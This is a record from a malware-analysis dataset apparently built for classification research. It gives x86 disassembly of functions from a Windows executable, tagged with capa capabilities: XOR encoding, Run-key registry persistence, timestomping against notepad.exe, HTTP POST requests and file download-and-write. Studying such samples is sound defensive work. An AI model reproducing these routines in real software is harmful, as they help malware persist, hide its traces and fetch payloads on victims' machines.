joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401040
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, 0x4333b4
mov dword [ebp - 8], 0
mov eax, dword [ebx]
inc eax
push eax
call fcn.0041ceb7
mov edi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 4], edi
cmp dword [ebx], eax
jbe 0x401082
lea esp, [esp]
mov ecx, dword [ebx + 4]
mov dl, byte [ecx + eax]
xor dl, byte [ebx - 4]
inc eax
mov byte [eax + edi - 1], dl
cmp eax, dword [ebx]
jb 0x401070
mov byte [eax + edi], 0
mov ecx, dword [0x43959c]
mov edx, dword [0x439598]
lea eax, [ebp - 4]
cmp eax, ecx
jae 0x401109
cmp edx, eax
ja 0x401109
mov esi, dword [0x4395a0]
mov edi, eax
sub edi, edx
sar edi, 2
cmp ecx, esi
jne 0x4010fe
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40118c
sub esi, edx
inc eax
sar esi, 2
cmp eax, esi
jbe 0x4010fe
mov ecx, esi
mov edx, ecx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x4010df
xor ecx, ecx
jmp 0x4010e1
add ecx, edx
cmp ecx, eax
jae 0x4010e7
mov ecx, eax
push ecx
mov esi, 0x439598
call fcn.00401200
mov ecx, dword [0x43959c]
mov edx, dword [0x439598]
test ecx, ecx
je 0x401165
mov edx, dword [edx + edi*4]
mov dword [ecx], edx
jmp 0x40115f
mov esi, dword [0x4395a0]
cmp ecx, esi
jne 0x401159
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40118c
sub esi, edx
mov edx, esi
inc eax
sar edx, 2
cmp eax, edx
jbe 0x401159
mov ecx, edx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x401140
xor ecx, ecx
jmp 0x401142
add ecx, edx
cmp ecx, eax
jae 0x401148
mov ecx, eax
push ecx
mov esi, 0x439598
call fcn.00401200
mov ecx, dword [0x43959c]
test ecx, ecx
je 0x401165
mov dword [ecx], edi
mov ecx, dword [0x43959c]
mov eax, dword [ebp - 8]
add eax, 0xc
add ecx, 4
add ebx, 0xc
mov dword [0x43959c], ecx
mov dword [ebp - 8], eax
cmp eax, 0x210
jb 0x401055
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call fcn.0041ce49
int3
Function at 0x401300
Capabilities:
Check if file exists

Disassembly:
push ebx
push esi
push edi
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
mov ebx, 0x439614
mov edi, 0x4395e8
lea ecx, [ecx]
mov eax, dword [ebx]
push eax
call fcn.0041da13
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401330
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401340
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ceb7
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.0041da13
add esp, 4
push eax
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40140b
push esi
call fcn.0041d848
add edi, 4
add esp, 4
cmp edi, 0x439604
jl 0x401320
add ebx, 4
cmp ebx, 0x439618
jl 0x401318
call fcn.0041d865
mov ecx, dword [0x439614]
push ecx
call fcn.0041da13
add esp, 4
mov ebx, eax
call fcn.0041d865
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x4395e8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4013d6
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4013e6
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ceb7
push edi
push ebx
mov esi, eax
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x14
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x401420
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
push ebx
push esi
mov dword [ebp - 4], 0x439618
push edi
mov edi, edi
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
mov ebx, 0x439614
mov edi, 0x4395e8
lea ebx, [ebx]
mov eax, dword [ebx]
push eax
call fcn.0041da13
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401470
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401480
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ceb7
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.0041da13
add esp, 4
push eax
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40154b
push esi
call fcn.0041d848
add edi, 4
add esp, 4
cmp edi, 0x439604
jl 0x401460
add ebx, 4
cmp ebx, 0x439618
jl 0x401455
call fcn.0041d865
mov ecx, dword [0x439614]
push ecx
call fcn.0041da13
add esp, 4
mov ebx, eax
call fcn.0041d865
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x4395e8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401516
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401526
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ceb7
push edi
push ebx
mov esi, eax
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x14
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401550
mov ebx, dword [ebp - 4]
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401563
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041ceb7
mov ecx, dword [ebx]
push ecx
push esi
mov edi, eax
push 0x4335d4
push edi
call fcn.0041d6a1
push esi
call fcn.0041d848
add esp, 0x18
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401624
push edi
call fcn.0041d848
add ebx, 4
add esp, 4
mov dword [ebp - 4], ebx
cmp ebx, 0x439638
jl 0x401440
call fcn.00401300
mov edi, eax
call fcn.0041d865
and eax, 0x80000007
jns 0x4015d2
dec eax
or eax, 0xfffffff8
inc eax
mov ebx, dword [eax*4 + 0x439618]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015e0
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015f0
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ceb7
push ebx
push edi
mov esi, eax
push 0x4335d4
push esi
call fcn.0041d6a1
push edi
call fcn.0041d848
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401630
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
push ebx
push esi
mov dword [ebp - 4], 0x4395c8
push edi
mov edi, edi
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
mov ebx, 0x439614
mov edi, 0x4395e8
lea ebx, [ebx]
mov eax, dword [ebx]
push eax
call fcn.0041da13
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401680
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401690
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ceb7
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.0041da13
add esp, 4
push eax
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40175b
push esi
call fcn.0041d848
add edi, 4
add esp, 4
cmp edi, 0x439604
jl 0x401670
add ebx, 4
cmp ebx, 0x439618
jl 0x401665
call fcn.0041d865
mov ecx, dword [0x439614]
push ecx
call fcn.0041da13
add esp, 4
mov ebx, eax
call fcn.0041d865
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x4395e8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401726
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401736
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ceb7
push edi
push ebx
mov esi, eax
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x14
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401760
mov ebx, dword [ebp - 4]
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401773
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041ceb7
mov ecx, dword [ebx]
push ecx
push esi
mov edi, eax
push 0x4335d4
push edi
call fcn.0041d6a1
add esp, 0x14
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401834
push esi
call fcn.0041d848
push edi
call fcn.0041d848
add ebx, 4
add esp, 8
mov dword [ebp - 4], ebx
cmp ebx, 0x4395e4
jl 0x401650
call fcn.00401300
mov edi, eax
call fcn.0041d865
cdq
mov ecx, 7
idiv ecx
mov eax, edi
mov ebx, dword [edx*4 + 0x4395c8]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4017f0
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401800
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ceb7
push ebx
push edi
mov esi, eax
push 0x4335d4
push esi
call fcn.0041d6a1
push edi
call fcn.0041d848
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401840
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
push ebx
push esi
mov dword [ebp - 4], 0x439604
push edi
mov edi, edi
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
mov ebx, 0x439614
mov edi, 0x4395e8
lea ebx, [ebx]
mov eax, dword [ebx]
push eax
call fcn.0041da13
add esp, 4
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401890
sub eax, edx
mov edx, eax
mov eax, dword [edi]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018a0
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ceb7
mov edx, dword [edi]
add esp, 4
mov esi, eax
mov eax, dword [ebx]
push edx
push eax
call fcn.0041da13
add esp, 4
push eax
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40196b
push esi
call fcn.0041d848
add edi, 4
add esp, 4
cmp edi, 0x439604
jl 0x401880
add ebx, 4
cmp ebx, 0x439618
jl 0x401875
call fcn.0041d865
mov ecx, dword [0x439614]
push ecx
call fcn.0041da13
add esp, 4
mov ebx, eax
call fcn.0041d865
cdq
mov ecx, 7
idiv ecx
mov eax, ebx
mov edi, dword [edx*4 + 0x4395e8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401936
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401946
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ceb7
push edi
push ebx
mov esi, eax
push 0x4335d4
push esi
call fcn.0041d6a1
add esp, 0x14
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401970
mov ebx, dword [ebp - 4]
sub eax, edx
mov edx, eax
mov eax, dword [ebx]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401983
sub eax, edi
lea eax, [eax + edx + 8]
push eax
call fcn.0041ceb7
mov ecx, dword [ebx]
push ecx
push esi
mov edi, eax
push 0x4335d4
push edi
call fcn.0041d6a1
add esp, 0x14
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401a44
push esi
call fcn.0041d848
push edi
call fcn.0041d848
add ebx, 4
add esp, 8
mov dword [ebp - 4], ebx
cmp ebx, 0x439614
jl 0x401860
call fcn.00401300
mov edi, eax
call fcn.0041d865
and eax, reloc.WSOCK32.dll_closesocket
jns 0x4019f2
dec eax
or eax, 0xfffffffc
inc eax
mov ebx, dword [eax*4 + 0x439604]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401a00
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401a10
sub eax, esi
lea edx, [eax + edx + 8]
push edx
call fcn.0041ceb7
push ebx
push edi
mov esi, eax
push 0x4335d4
push esi
call fcn.0041d6a1
push edi
call fcn.0041d848
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a50
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 8
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call edi
mov eax, dword [ebp - 4]
test eax, eax
je 0x401ab4
mov ecx, dword [esi*4 + 0x4395a8]
push 0
push 0
push 0
push 0
push ecx
push eax
call ebx
test eax, eax
je 0x401ad9
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 8
jl 0x401a75
call fcn.0041d865
and eax, 0x80000007
jns 0x401acb
dec eax
or eax, 0xfffffff8
inc eax
mov eax, dword [eax*4 + 0x4395a8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi*4 + 0x4395a8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401b00
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
call fcn.00401840
mov esi, eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401c37
push 0x43360c
push esi
call fcn.0041d831
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x401c37
push ebx
xor edi, edi
call fcn.0041d725
add esp, 4
test eax, eax
jne 0x401bc7
lea eax, [ebp - 0x104]
push eax
push 0x433610
push ebx
mov byte [ebp - 0x104], 0
call fcn.0041d681
add esp, 0xc
mov ecx, 0x43360e
lea eax, [ebp - 0x104]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401bb0
test dl, dl
je 0x401bac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401bb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x401b90
xor eax, eax
jmp 0x401bb5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401bba
inc edi
push ebx
call fcn.0041d725
add esp, 4
test eax, eax
je 0x401b63
push 0
push 0
push ebx
call fcn.0041d910
add esp, 0xc
test edi, edi
jle 0x401c2e
push 0x100
call fcn.0041ceb7
mov esi, eax
add esp, 4
mov byte [esi], 0
call fcn.0041d865
cdq
idiv edi
test edx, edx
js 0x401c12
lea edi, [edx + 1]
lea esp, [esp]
push esi
push 0x433610
push ebx
call fcn.0041d681
add esp, 0xc
dec edi
jne 0x401c00
push ebx
call fcn.0041dafa
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
push ebx
call fcn.0041dafa
add esp, 4
push esi
call fcn.0041d848
add esp, 4
call fcn.0041d865
mov edi, dword [0x4395e4]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401c50
sub eax, edx
add eax, 8
push eax
call fcn.0041ceb7
mov esi, eax
add esp, 4
mov ecx, edi
sub esi, edi
jmp 0x401c70
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x401c70
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
Function at 0x401c90
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x433614
push eax
xor bl, bl
call fcn.0041d831
mov esi, eax
add esp, 8
test esi, esi
je 0x401d0f
mov ecx, dword [ebp + 8]
push edi
push 0x433618
push ecx
call fcn.0041d831
mov edi, eax
add esp, 8
test edi, edi
je 0x401d05
push esi
call fcn.0041d725
add esp, 4
test eax, eax
jne 0x401cfa
push esi
push 1
lea edx, [ebp - 1]
push 1
push edx
call fcn.0041defd
push edi
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.0041e071
push esi
call fcn.0041d725
add esp, 0x24
test eax, eax
je 0x401cd1
push edi
mov bl, 1
call fcn.0041dafa
add esp, 4
push esi
call fcn.0041dafa
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401d20
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push str.SYSTEMROOT
mov dword [ebp - 0x98], eax
call fcn.0041da13
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d50
sub eax, edx
add eax, 0x20
push eax
call fcn.0041ceb7
push str.SYSTEMROOT
mov edi, eax
call fcn.0041da13
push eax
push str._s_notepad.exe
push edi
call fcn.0041d6a1
mov ebx, dword [sym.imp.KERNEL32.dll_OpenFile]
add esp, 0x14
push 0
lea ecx, [ebp - 0x94]
push ecx
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401de1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x98]
push 2
lea eax, [ebp - 0x94]
push eax
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401de1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0041d848
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
Function at 0x401f40
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42eb4b
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
lea eax, [ebp - 0x424]
push eax
mov edi, ecx
mov ebx, edx
mov dword [ebp - 0x424], esi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x402133
cmp byte [0x439568], 0
mov dword [ebp - 0x414], esi
jne 0x401fab
call fcn.00401040
mov byte [0x439568], 1
mov ecx, dword [0x439598]
mov eax, dword [ecx + 0x9c]
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x428], esi
test esi, esi
je 0x40212d
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x402126
push 1
push 0x400000
push 0
push 0
push 0
push ebx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x40211f
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x402118
push 1
call fcn.0041e44a
mov esi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], eax
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4020f6
mov edi, dword [ebp - 0x414]
test edi, edi
je 0x4020b2
lea ecx, [ebp - 0x410]
push ecx
lea esi, [ebp - 0x420]
mov byte [ebp + edi - 0x410], 0
call fcn.00402ae0
lea edx, [ebp - 0x414]
push edx
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402070
mov eax, dword [ebp - 0x41c]
test eax, eax
jle 0x4020ea
inc eax
push eax
call fcn.0041ceb7
mov esi, dword [ebp - 0x420]
mov edx, eax
add esp, 4
mov dword [ebp - 0x414], edx
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4020d8
mov edi, dword [ebp - 0x418]
jmp 0x402109
mov esi, dword [ebp - 0x420]
mov edi, dword [ebp - 0x418]
push 8
call fcn.0041ceb7
add esp, 4
mov dword [ebp - 0x414], eax
mov byte [eax], 0
push esi
call fcn.0041e410
mov esi, dword [ebp - 0x428]
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
Function at 0x402150
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
lea ecx, [ebp - 0x414]
push ecx
mov dword [ebp - 0x408], eax
mov ebx, edx
mov dword [ebp - 0x414], edi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x40219e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
push ebx
mov dword [ebp - 0x40c], edi
call fcn.0041e2e4
add esp, 4
cmp byte [0x439568], 0
jne 0x4021c2
call fcn.00401040
mov byte [0x439568], 1
mov edx, dword [0x439598]
mov eax, dword [edx + 0x9c]
push edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x4022db
push 1
push 0
push 3
push 0
push 0
push 0x50
push esi
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x410], esi
test esi, esi
je 0x4022d4
mov eax, dword [ebp - 0x408]
push 1
push 0x400000
push 0
push 0
push 0
push eax
push 0x433640
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x4022c7
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4022c0
push 0x433618
push ebx
mov dword [ebp - 0x40c], 1
call fcn.0041d831
mov esi, eax
add esp, 8
test esi, esi
je 0x4022ba
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, edi
lea ecx, [ebp - 0x408]
push ecx
push 0x3ff
lea edx, [ebp - 0x404]
push edx
push edi
call ebx
test eax, eax
je 0x4022b1
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x4022b1
push esi
push eax
mov byte [ebp + eax - 0x404], 0
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.0041e071
add esp, 0x10
jmp 0x402270
push esi
call fcn.0041dafa
add esp, 4
mov esi, dword [ebp - 0x410]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x418]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x40c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret